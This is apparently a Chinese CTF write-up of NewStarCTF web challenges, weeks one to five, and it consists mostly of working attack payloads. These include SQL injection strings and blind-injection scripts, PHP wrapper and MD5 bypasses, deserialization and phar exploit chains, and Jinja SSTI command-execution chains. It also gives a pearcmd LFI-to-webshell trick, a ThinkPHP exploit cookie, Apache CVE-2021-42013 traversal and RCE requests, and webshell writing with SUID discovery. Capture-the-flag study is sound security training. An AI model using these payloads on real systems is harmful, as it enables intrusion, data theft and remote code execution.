文章目录
week1
HTTP
cookie 修改admin 源码发现key GET和POST传参即可
Head?Header!
User-Agent: CTF
Referer: ctf.com
X-Forwarded-For: 127.0.0.1
我真的会谢
信息泄露
robots.txt
源码 + /.index.php.swp
NotPHP 函数绕过
if(file_get_contents($_GET['data'])=="Welcome to CTF"){if(md5($_GET['key1'])===md5($_GET['key2'])&&$_GET['key1']!==$_GET['key2']){if(!is_numeric($_POST['num'])&&intval($_POST['num'])==2077){echo"Hack Me";eval("#".$_GET['cmd']);}else{die("Number error!");}}else{die("Wrong Key!");}}else{die("Pass it!");
1,绕过file_get_contents(),用input伪协议,即
/?data=php://input
POST一个
Welcome to CTF
用data协议绕,
?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=
2,md5强比较碰撞
&key1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&key2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这里可以直接数组绕过
key1[]=1&key2[]=2
3,绕数字判断,intval只取前面的数字,后面的字母会忽略
num=2077abc
4,绕# 命令执行,用
回车符%0d,
我用
换行符%0a
打不通不知道为啥
&cmd=%0dsystem("ls /");
在bp里需要URL编码进去rec
Word-For-You 万能密码
一个留言板和查询,为什会考查万能密码
万能密码
NewCTFer' or 1#
week2
Word-For-You(2 Gen) 报错注入
哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了
有报错信息回显,那就报错注入
name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tableswhere table_schema=database()),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columnswhere table_name='wfy_comments'),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(selectright(group_concat(text),30)from wfy.wfy_comments),0x7e),1)--+
IncludeOne 文件包含+伪随机数
include("seed.php");//mt_srand(*********);echo"Hint: ".mt_rand()."<br>";if(isset($_POST['guess'])&&md5($_POST['guess'])===md5(mt_rand())){if(!preg_match("/base|\.\./i",$_GET['file'])&&preg_match("/NewStar/i",$_GET['file'])&&isset($_GET['file'])){//flag in `flag.php`include($_GET['file']);}else{echo"Baby Hacker?";}}else{echo"No Hacker!";}
Hint:1219893521
用工具跑一下种子 ,php伪随机数的考点看https://www.freebuf.com/column/205240.html
得到seed是1145146,那么如何得到固定的mt_rand()呢,去运行mt_srand(1145146)
<?phpmt_srand(1145146);mt_rand();echomt_rand();?> 得到1202031004
伪协议读取flag.php ,那么对filter进行了过滤 base,可以两次url编码绕过,NewStar就是直接用|加进去过滤器
UnserializeOne 反序列化
<?phperror_reporting(0);highlight_file(__FILE__);#Something useful for you : https://zhuanlan.zhihu.com/p/377676274classStart{public$name;protected$func;publicfunction__destruct(){echo"Welcome to NewStarCTF, ".$this->name;}publicfunction__isset($var){($this->func)();}}classSec{private$obj;private$var;publicfunction__toString(){$this->obj->check($this->var);return"CTFers";}publicfunction__invoke(){echofile_get_contents('/flag');}}classEasy{public$cla;publicfunction__call($fun,$var){$this->cla=clone$var[0];}}classeeee{public$obj;publicfunction__clone(){if(isset($this->obj->cmd)){echo"success";}}}if(isset($_POST['pop'])){unserialize($_POST['pop']);}
先找可利用函数,找到file_get_contents(‘/flag’); 直接输出flag了
找链子
Start类__destruct()
–>
Sec类__toString()
–>
Easy类__call
–>
eeee类__clone
–>``Start类__isset`–>
Sec类__invoke
这里唯一比较绕的点是
__call($fun, $var)
这个
$fun
是上一步调用的方法名即
check
,
$var
是其参数即
($this->var)
所以进入
__call()
的方法是 构造
$this->var
构造pop
<?phpclassStart{public$name;public$func;}classSec{public$obj;public$var;}classEasy{public$cla;}classeeee{public$obj;}$st=newStart();$se=newSec();$ea=newEasy();$ee=neweeee();$st->name=$se;$se->obj=$ea;$se->var=$ee;$ee->obj=$st;$st->func=$se;echoserialize($st);;O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
ezAPI graphQL
qsdz开发了一个查询网页,但是好像存在一些漏洞?
之前没遇到过graphQL这个知识点,此文不错 https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
本题首先是源码泄露 www.zip
<?phperror_reporting(0);$id=$_POST['id'];functionwaf($str){if(!is_numeric($str)||preg_replace("/[0-9]/","",$str)!==""){returnFalse;}else{returnTrue;}}functionsend($data){$options=array('http'=>array('method'=>'POST','header'=>'Content-type: application/json','content'=>$data,'timeout'=>10*60));$context=stream_context_create($options);$result=file_get_contents("http://graphql:8080/v1/graphql",false,$context);return$result;}if(isset($id)){if(waf($id)){isset($_POST['data'])?$data=$_POST['data']:$data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';$res=json_decode(send($data));if($res->data->users_user_by_pk->name!==NULL){echo"ID: ".$id."<br>Name: ".$res->data->users_user_by_pk->name;}else{echo"<b>Can't found it!</b><br><br>DEBUG: ";var_dump($res->data);}}else{die("<b>Hacker! Only Number!</b>");}}else{die("<b>No Data?</b>");}?>
可以知道是要post一个data变量
一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
查询这些数据就会返回所以的API信息
搜索flag关键字 找到flag的接口
ffffllllaaagggg_1n_h3r3_flag
现在只需要读flag就好了,当然也是通过graphQL的格式来读,看源码里读数据的格式
{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
尝试读到数据,进行模仿读取flag
{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n","variables":null}
week3
BabySSTI_One
简单的SSTI
是过滤了一些关键词class什么的,
lipsum
这条链子直接梭了
/?name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('nl /fl*').read()")}}
常规思路打一波:
关键字被ban了可以用字符拼接一下
{{""['__cla'+'ss__']}}
先读基类和所有子类
/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()}}
拿到后脚本跑一下 找敏感类
import json
a ="""<class 'type'>, <class 'weakref'>, ......"""
num =0
allList =[]
result =""for i in a:if i ==">":
result += i
allList.append(result)
result =""elif i =="\n"or i ==",":continueelse:
result += i
for k, v inenumerate(allList):if"os._wrap_close"in v:print(str(k)+"--->"+ v)
即用
__subclasses__()[117]
到了下一个点,
.init.globals
,这个
init
用来初始化类,
globals
用来全局查找所有方法和变量及参数是有
popen
的,这个就可以命令执行了
/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}
成功执行命令,最终payload
/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('nl /fl*').read()}}
multiSQL 堆叠注入
堆叠注入
1';show databases#
1';showtablesfrom english#1';showcolumnsfrom score#
现在的目的是帮助火华用户修改成绩,然后验证成绩才能得到flag
fuzz一下 很多关键字被ban了 ,
update,select,insert
1,用replace代替insert进行修改
1';replaceinto score values("火华",400,400,400);#
删除 第一个火华 ,然后拿到flag
1';deletefrom score where listen=11;#
**2,利用预处理prepare,然后
concat
拼接字符串绕过**
1';set @sql=concat('up','date`score`set listen=200where username="火华"');prepare payload FROM@sql;execute payload#
3,尝试写shell
没有成功
IncludeTwo pearcmd.php的利用
How to RCE via LFI? P…
<?phperror_reporting(0);highlight_file(__FILE__);//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!if(!preg_match("/base64|rot13|filter/i",$_GET['file'])&&isset($_GET['file'])){include($_GET['file'].".php");}else{die("Hacker!");}
这题是直接过滤了filter协议 ,这里可以考虑
pearcmd.php
的利用,参考P神的文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
config-create
命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/tmp/shell.php
访问shell文件即可rce
Maybe You Have To think More
访问一个错误页面就得到了TP的版本信息
整个页面是输入用户名的框 ,会将用户名存在cookie里面 以序列化语句+base64存入
O:17:"first\second\user":2:{s:8:"username";s:5:"12345";s:8:"password";N;}
所以反序列化点在cookie
网上有exp可以用https://www.freebuf.com/vuls/263977.html
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
放入cookie
然后get一个id执行命令 ,flag在环境变量里
week4
So Baby RCE
<?phperror_reporting(0);if(isset($_GET["cmd"])){if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){echo"Don't Hack Me";}else{system($_GET["cmd"]);}}else{show_source(__FILE__);}
主要是过滤文件读取命令 空格 /目录分隔符
看mochu师傅是:利用
cd
切换目录,
&&
执行多条命令,
$@
绕过关键字
sort
命令也可以读文件,学习一波
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}fff?llllaaaaggggg
$@绕过关键字
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca$@t${IFS}ffff$@llllaaaaggggg
BabySSTI_Two
过滤比较上周更严 首先双引号" 就没了,但单引号’ . __ 还在
+被禁了,那么字符拼接就先放弃
还有一种思路是字符串逆序
{{''['__ssalc__'[::-1]]}}
来凑出关键字
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('id').read()}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ls%09/').read()}}
读flag用上题的绕过方法即可
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('sort%09/fla?_in_h3r3_52daad').read()}}
UnserializeThree phar反序列化
有一个上传点,只上传图片
源码里面有注释
直接访问
<?phphighlight_file(__FILE__);classEvil{public$cmd;publicfunction__destruct(){if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){//Same point ,can you bypass me again?eval("#".$this->cmd);}else{echo"No!";}}}file_exists($_GET['file']);
其实根本没有反序列化,就是直接eval了$cmd的内容
不过需要绕一下
"#".$this->cmd
,绕注释可以换行, ban了
%0a
也就是
\n
用
\r
替代就可以
<?phpclassEvil{public$cmd="\rsystem('cat /flag');";}$a=newEvil();//创建对象# 下面这部分就没改$phar=newPhar("phar.phar");$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub$phar->setMetadata($a);//将自定义的meta-data存入manifest$phar->addFromString("test.txt","test");//添加要压缩的文件//签名自动计算$phar->stopBuffering();
生成的
phar.phar
改后缀.jpg 然后上传
拿到路径后 phar读取
又一个SQL
这题主要是把空格过滤了 然而常规%09还有/**/还是被禁用了
/**/
这是多行注释
/*!*/
是内联注释, 本题可以用
/*!*/
手测发现是数字型 ,和布尔盲注 ,回显
好耶
即注入成功
写脚本盲注
import time
import requests
defgetDatabase():
ans=''for i inrange(1,1000):
low =32
high =128
mid =(low+high)//2while low < high:#sql = "select/*!*/database()"
sql="select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=database()"# mysql.innodb_table_stats"
sql="select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name='wfy_comments'"
sql="select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments"
payload="1/*!*/and/*!*/(ascii(substr(({}),{},1))<{})#".format(sql,i,mid)
res = requests.post("http://55bf184d-6484-4bbe-bcae-5799b8bcf38b.node4.buuoj.cn:81/comments.php?name="+payload)# print(payload)# print(res.text.split("\n")[-1])if"好耶"in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2# if mid <= 32 or mid >= 127:# break
time.sleep(0.5)
ans +=chr(mid-1)print("[+] "+ans)
getDatabase()
基本的盲注脚本注意空格即可
最后爆出的flag内容前面一堆不可见字符,所以脚本不要过滤不可见字符
week5
Give me your photo PLZ 图片马
最基础的图片马文件上传 ,Nginx服务器
.htaccess
也没被ban
<FilesMatch "pass.png">
SetHandler application/x-httpd-php
</FilesMatch>
传入
.htaccess
pass.png 成功被执行
Unsafe Apache Apache版本漏洞利用
直接插件读到了服务器版本,响应头也可以
去搜版本漏洞利用, 都是
Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
https://blog.csdn.net/weixin_47311099/article/details/121773364
目录穿越
http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
命令执行
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;ls /
So Baby RCE Again
<?phperror_reporting(0);if(isset($_GET["cmd"])){if(preg_match('/bash|curl/i',$_GET["cmd"])){echo"Hacker!";}else{shell_exec($_GET["cmd"]);}}else{show_source(__FILE__);}
过滤bash curl 是不让反弹shell ,代码是没有回显
可以通过shell_exec()写入shell
/?cmd=echo'<?php eval($_POST[1]);?>'> shell.php
但是发现读不到flag文件 ,蚁剑连接shell
ls -lha
查看文件权限
考虑SUID提权 ,蚁剑这个命令没回显,还是要保存一下 ,在浏览器执行还是有回显的,还是利用date直接读
find / -perm -u=s -type f 2>/dev/null
BabySSTI_Three
相较上周,又ban了下划线__ ,选择直接unicode编码绕
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()}}
最后payload
{{''['__class__']['__bases__'][0]['__subclasses__']()[117]['__init__']['__globals__']['popen']('id').read()}}
编码后即
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('id').read()}}
读flag
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('sort%09/fla*').read()}}
Final round 时间盲注
啊呜,好困呜呜~~~
题干也提示 时间盲注了
依然脚本跑 ,这题很坑的是把
/*!*/
也禁用了 ,所以使用括号分隔
import time
import requests
url='http://94a74348-9436-4092-a809-a2b7d8c9fc19.node4.buuoj.cn:81/comments.php'defgetflag():
ans=''for i inrange(1,100):
low =32
high =128
mid =(low+high)//2while low < high:
sql ="database()"
sql="(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))"# mysql.innodb_table_stats
sql="(select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments'))"
sql="(select(reverse(group_concat(text)))from(wfy.wfy_comments))"
data={'name':'132||if(ascii(substr({},{},1))<{},sleep(0.2),0)'.format(sql,i,mid)}
start=time.time()
res = requests.post(url,data=data)
end = time.time()
time_cha=end-start
if time_cha>2:
high = mid
else:
low = mid+1
mid=(low+high)//2
ans +=chr(mid-1)print("[+] "+ans)
getflag()
还是好久没跑时间盲注的脚本了,有些东西废了点时间
设置睡的时间
和
请求的时间差
那里一直不是特别了解,测试倒是没问题,sleep(0.2)时请求的时间差大概在2.5s
最后跑flag用了一下逆序reverse(),就不用等那么久了
版权归原作者 ThnPkm 所有, 如有侵权,请联系我们删除。